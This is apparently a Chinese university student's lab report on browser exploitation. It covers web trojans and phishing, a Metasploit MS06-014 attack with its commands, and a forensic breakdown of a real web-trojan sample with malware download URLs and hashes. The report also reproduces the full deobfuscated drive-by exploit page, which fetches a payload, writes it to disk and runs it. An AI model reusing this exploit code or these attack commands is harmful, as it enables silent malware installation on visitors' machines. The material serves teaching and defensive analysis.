20211912 2021-2022-2 《网络攻防实践》第十一周作业
20211912 2021-2022-2 《网络攻防实践》第十一周作业
1 知识点梳理与总结
1.1 Web浏览端的渗透攻击威胁——网页木马
-
概念:网页木马是从恶意网页脚本中孕育和发展出来的;网页木马就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行
-
使得网页木安全威胁持续存在的根源是:web浏览端软件中存在安全漏洞,这些漏洞为网页木马进入并感染受害主机提供必要的技术基础条件
-
网页木马的特性:网页木马所攻击的安全漏洞的存在位置多样化,包括web浏览器自身、浏览器插件、关联某些web文件的应用程序等;由于互联网用户对应用软件的在线升级和补丁安装过程没有像微软系统软件一样自动化和实时,一些流行的应用软件中的安全漏洞留给网页木马的攻击事件窗口会长一点;一些影响范围广的安全漏洞,如 MS06-014 会被网页木马持续地利用,以攻击那些长时间不进行系统升级与补丁更新,或者安装老旧操作系统版本的互联网用户计算机
-
网页木马的检测和分析技术
- 基于特征码匹配的传统检测方法:灵活多变的混淆机制以及分布式复杂的链接结构使得其失效
- 基于统计与机器学习的静态分析方法:针对网页木马所采用的代码混淆或隐藏内嵌链接的特征进行检测,但仍停留在外在形态层次上
- 基于动态行为结果判定的检测分析方法:利用行为特性,构建蜜罐环境,根据在访问过程中是否发生了非预期系统变化,来判定是否挂马
- 基于模拟浏览器环境的动态分析检测方法:以脚本执行引擎为核心,通过模拟实现DOM模型、页面解析与渲染、ActiveX等第三方控件构建出一个虚拟的低交互式客户端蜜罐环境,进行脚本解释,还原真实状态,分析检测
-
网页木马防范措施
- 统补丁要及时更新:绝大部分的网页木马受害者都忽略了自己所使用的系统及应用软件的补丁升级
- 安装并及时更新反病毒软件:用户可尽量选择网页木马查杀能力较强的反病毒软件,并及时更新病毒特征库
- 使用第三方浏览器:由于目前互联网上常见的网页木马所使用的是针对IE浏览器及其ActiveX控件的漏洞
- 养成安全的网站浏览习惯:用户应该养成安全的网站浏览习惯,不要随便点击各种来源不明、说明带有引诱语言的链接,防止落入攻击者的陷阱
1.2 网络钓鱼
-
概念:网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息的一种攻击方式
-
网钓技术:链接操控,过滤器规避,网站伪造,电话网钓,WIFI免费热点网钓,隐蔽重定向漏洞
-
防范
- 提高警惕,不登录不熟悉的网站,键入网站地址的时候要校对
- 不要打开陌生人的电子邮件,更不要轻信他人说教
- 安装杀毒软件并及时升级病毒知识库和操作系统补丁
- 将敏感信息输入隐私保护,打开个人防火墙
- 收到不明电子邮件时不要点击其中的任何链接
1.3 实践内容
2 浏览器渗透攻击实践
-
在kali中使用msfconsole命令打开Metasploit
-
使用search MS06-014命令查询一下针对此漏洞可以运用的攻击模块
-
使用use exploit/windows/browser/ie_createobject命令选择该模块
-
使用set lhost 192.168.31.104和set rhost 192.168.31.230命令设置攻击机和靶机的IP地址
-
使用set payload windows/shell/bind_tcp命令设置payload,最后使用exploit命令进行攻击
-
此时攻击机中显示靶机到攻击机的会话已建立
-
使用sessions -i 1命令选择会话,并执行一些简单指令进行验证
3 取证分析实践—网页木马攻击场景分析
-
首先我们在start.html文件中搜索new09.htm
-
可以看出start.html文件在引用new09.htm文件时没有写绝对路径,所以这两个文件在同一目录下,查看new09.htm
-
对上述引用的文件分别作MD5散列
-
在hashed文件夹下找到这两个文件并查看
-
第一个文件没有信息,第二个文件内容则是使用了XXTEA+Base64的加密方法,可以看到加密密钥就藏在倒数第三行中
-
将\x73\x63\x72\x69\x70\x74转换一下,得到密钥为script
-
进行XXTEA+Base64解密
-
进行转换
-
可以看到用到的应用程序漏洞有:Adodb.Stream——微软数据库访问对象漏洞、MPS.StormPlayer——暴风影音漏洞、POWERPLAYER.PowerPlayerCtrl.1——PPStream漏洞、BaiduBar.Tool——百度搜霸漏洞
-
同时,这个文件还引用三个js文件和一个名为bd.cab的压缩包;分别对其作MD5散列
文件 | MD5 |
---|---|
http://aa.18dd.net/aa/1.js | 5d7e9058a857aa2abee820d5473c5fa4 |
http://aa.18dd.net/aa/b.js | 3870c28cc279d457746b3796a262f166 |
http://aa.18dd.net/aa/pps.js | 5f0b8bf0385314dbe0e5ec95e6abedc2 |
http://down.18dd.net/bb/bd.cab | 1c1d7b3539a617517c49eee4120783b2 |
-
首先查看第一个文件
-
进行转换
-
该文件下载了一个http://down.18dd.net/bb/014.exe的可执行文件,并继续利用了ADODB漏洞
-
查看第二个文件
-
可以看到使用了packed加密方法,对其进行解密
-
出现了关键字shellcode,根据参考,这是一个下载器,因此查找URL,找到687474703a2f2f646f776e2e313864642e6e65742f62622f62662e657865,解密后得到http://down.18dd.net/bb/bf.exe
-
查看第三个文件
-
这里使用了八进制转换,对其进行转换,同样进行解密得到http://down.18dd.net/bb/pps.exe
-
最后一个文件解压后得到bd.exe,此时我们有了四个可执行文件,对前三个作MD5散列
文件 | MD5 |
---|---|
http://down.18dd.net/bb/014.exe | ca4e4a1730b0f69a9b94393d9443b979 |
http://down.18dd.net/bb/bf.exe | 268cbd59fbed235f6cf6b41b92b03f8e |
http://down.18dd.net/bb/pps.exe | ff59b3b8961f502289c1b4df8c37e2a4 |
-
校验四个文件的MD5值,发现是相同的,说明文件内容相同
-
使用PEiD查看pps.exe的加壳情况,发现是用Delphi写的
-
用W32DAsm对其进行反汇编,并查看串式参考内容清单
-
由字符串goto try、:try、Alletdel.bat、cmd /c date、cmd /c date 1981-01-12、del、del %0、if exist,猜测该文件会生成一个名为Alletdel.bat的批处理文件,该文件中有一个标签try,批处理文件会不断执行该标签下一行的命令,命令内容可能是判断文件存在性、更改系统日期、删除某些文件;
-
由字符串:\AutoRun.inf、[AutoRun] open=、AutoRun.inf、shell\Auto\command=,猜测该文件可能在磁盘根目录下生成自动运行的文件
-
由字符串advapi32.dll、drivers/klif.sys、\program files\internet explorer\IEXPLORE.EXE、IE执行保护、IEXPLORE.EXE、Software\Microsoft\Windows\CurrentVersion\Poli、Kernel32.dll、SOFTWARE\Borland\Delphi\RTL、ChangeServiceConfig2A、ChangeServiceConfig2W、QueryServiceConfig2A、QueryServiceConfig2W,猜测该文件会对IE、注册表、服务和系统文件进行修改
-
由字符串瑞星卡卡上网安全助手、IE防漏墙、允许、允许执行,猜测该文件有一定的防系统保护软件的能力
-
由形如http://down.18dd.net/kl/0.exe的20个字符串,猜测该文件会下载大量木马
4 攻防对抗实践—web浏览器渗透攻击攻防
-
这里同样使用MS06-014漏洞进行攻击,攻击步骤与上述相同
-
右键查看源文件获取攻击页面的源代码
-
可以看到这里的源代码做了字符串拼接处理并且使用了大量的空白和间隔,猜测是为了防止查杀,我们将回车符和空格删去,得到源码如下
<html>
<head>
<title></title>
<script language="javascript">
function
yiQtsIVCdVrtvNfNUYQS(o, n) {
var r = null;
try {
eval("r=o" + ".C" + "re" + "ate" + "Ob" + "je" + "ct(n)")
} catch(e) {}
if(!r) {
try {
eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'')")
} catch(e) {}
}
if(!r) {
try {
eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'','')")
} catch(e) {}
}
if(!r) {
try {
eval("r=o" + ".Ge" + "tOb" + "je" + "ct('',n)")
} catch(e) {}
}
if(!r) {
try {
eval("r=o" + ".Ge" + "tOb" + "ject(n,'')")
} catch(e) {}
}
if(!r) {
try {
eval("r=o" + ".Ge" + "tOb" + "ject(n)")
} catch(e) {}
}
return(r);
}
function
RLxqmtEHVWqZMMeuiOyoOQ(a) {
var s = yiQtsIVCdVrtvNfNUYQS(a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll");
var o = yiQtsIVCdVrtvNfNUYQS(a, "A" + "DO" + "D" + "B.S" + "tr" + "eam");
var e = s.Environment("P" + "ro" + "ce" + "ss");
var url = document.location + '/p' + 'ay' + 'lo' + 'ad';
var xml = null;
var bin = e.Item("T" + "E" + "M" + "P") + "\\mrwBvREJePGV" + ".e" + "xe";
var dat;
try {
xml = new
XMLHttpRequest();
} catch(e) {
try {
xml = new
ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xml = new
ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if(!xml) {
return(0);
}
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0);
}
function
cPzjNzuSXpwrGjScAQSeRZzbPkxz() {
var i = 0;
var t = new
Array('{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E' + '3' + '6' + '}', '{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E' + '3' + '0' + '}', '{' + '7' + 'F' + '5' + 'B' + '7' + 'F' + '6' + '3' + '-' + 'F' + '0' + '6' + 'F' + '-' + '4' + '3' + '3' + '1' + '-' + '8' + 'A' + '2' + '6' + '-' + '3' + '3' + '9' + 'E' + '0' + '3' + 'C' + '0' + 'A' + 'E' + '3' + 'D' + '}', '{' + '6' + 'e' + '3' + '2' + '0' + '7' + '0' + 'a' + '-' + '7' + '6' + '6' + 'd' + '-' + '4' + 'e' + 'e' + '6' + '-' + '8' + '7' + '9' + 'c' + '-' + 'd' + 'c' + '1' + 'f' + 'a' + '9' + '1' + 'd' + '2' + 'f' + 'c' + '3' + '}', '{' + '6' + '4' + '1' + '4' + '5' + '1' + '2' + 'B' + '-' + 'B' + '9' + '7' + '8' + '-' + '4' + '5' + '1' + 'D' + '-' + 'A' + '0' + 'D' + '8' + '-' + 'F' + 'C' + 'F' + 'D' + 'F' + '3' + '3' + 'E' + '8' + '3' + '3' + 'C' + '}', '{' + '0' + '6' + '7' + '2' + '3' + 'E' + '0' + '9' + '-' + 'F' + '4' + 'C' + '2' + '-' + '4' + '3' + 'c' + '8' + '-' + '8' + '3' + '5' + '8' + '-' + '0' + '9' + 'F' + 'C' + 'D' + '1' + 'D' + 'B' + '0' + '7' + '6' + '6' + '}', '{' + '6' + '3' + '9' + 'F' + '7' + '2' + '5' + 'F' + '-' + '1' + 'B' + '2' + 'D' + '-' + '4' + '8' + '3' + '1' + '-' + 'A' + '9' + 'F' + 'D' + '-' + '8' + '7' + '4' + '8' + '4' + '7' + '6' + '8' + '2' + '0' + '1' + '0' + '}', '{' + 'B' + 'A' + '0' + '1' + '8' + '5' + '9' + '9' + '-' + '1' + 'D' + 'B' + '3' + '-' + '4' + '4' + 'f' + '9' + '-' + '8' + '3' + 'B' + '4' + '-' + '4' + '6' + '1' + '4' + '5' + '4' + 'C' + '8' + '4' + 'B' + 'F' + '8' + '}', '{' + 'D' + '0' + 'C' + '0' + '7' + 'D' + '5' + '6' + '-' + '7' + 'C' + '6' + '9' + '-' + '4' + '3' + 'F' + '1' + '-' + 'B' + '4' + 'A' + '0' + '-' + '2' + '5' + 'F' + '5' + 'A' + '1' + '1' + 'F' + 'A' + 'B' + '1' + '9' + '}', '{' + 'E' + '8' + 'C' + 'C' + 'C' + 'D' + 'D' + 'F' + '-' + 'C' + 'A' + '2' + '8' + '-' + '4' + '9' + '6' + 'b' + '-' + 'B' + '0' + '5' + '0' + '-' + '6' + 'C' + '0' + '7' + 'C' + '9' + '6' + '2' + '4' + '7' + '6' + 'B' + '}', '{' + 'A' + 'B' + '9' + 'B' + 'C' + 'E' + 'D' + 'D' + '-' + 'E' + 'C' + '7' + 'E' + '-' + '4' + '7' + 'E' + '1' + '-' + '9' + '3' + '2' + '2' + '-' + 'D' + '4' + 'A' + '2' + '1' + '0' + '6' + '1' + '7' + '1' + '1' + '6' + '}', '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + '3' + '-' + '0' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6' + '}', '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + 'A' + '-' + '0' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6' + '}', null);
while(t[i]) {
var a = null;
if(t[i].substring(0, 1) == '{') {
a = document.createElement("object");
a.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" + ":" + t[i].substring(1, t[i].length - 1));
} else {
try {
a = new
ActiveXObject(t[i]);
} catch(e) {}
}
if(a) {
try {
var b = yiQtsIVCdVrtvNfNUYQS(a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll");
if(b) {
RLxqmtEHVWqZMMeuiOyoOQ(a);
return(0);
}
} catch(e) {}
}
i++;
}
}
</script>
</head>
<body onload='cPzjNzuSXpwrGjScAQSeRZzbPkxz()'> ATigYVMFgmoeTXXGNkjgqq </body>
</html>
-
这里调用了document.location加载了payload,并且后续有一个可执行文件mrwBvREJePGV.exe
-
打开任务管理器查看正在运行的程序,可以看见上述的可执行文件,其作用就是使攻击机获取靶机的权限
-
代码中Array中的字符BD96C556-65A3-11D0-983A-00C04FC29E36通过查询,发现是漏洞MS06-014中的clsid变量
5 学习中遇到的问题及解决
- 问题1:靶机访问含木马的连接时不成功
- 问题1解决方案:payload改为windows/shell/bind_tcp
6 学习感悟、思考
- 本次实践中的web浏览器渗透攻击较为简单,但取证分析实践较难,需要参考多方资料;同时,通过本次实践也对网页木马有了深入的理解,受益匪浅
7 参考资料
- Linux常用命令
- [网络攻防技术与实践(诸葛建伟编著)]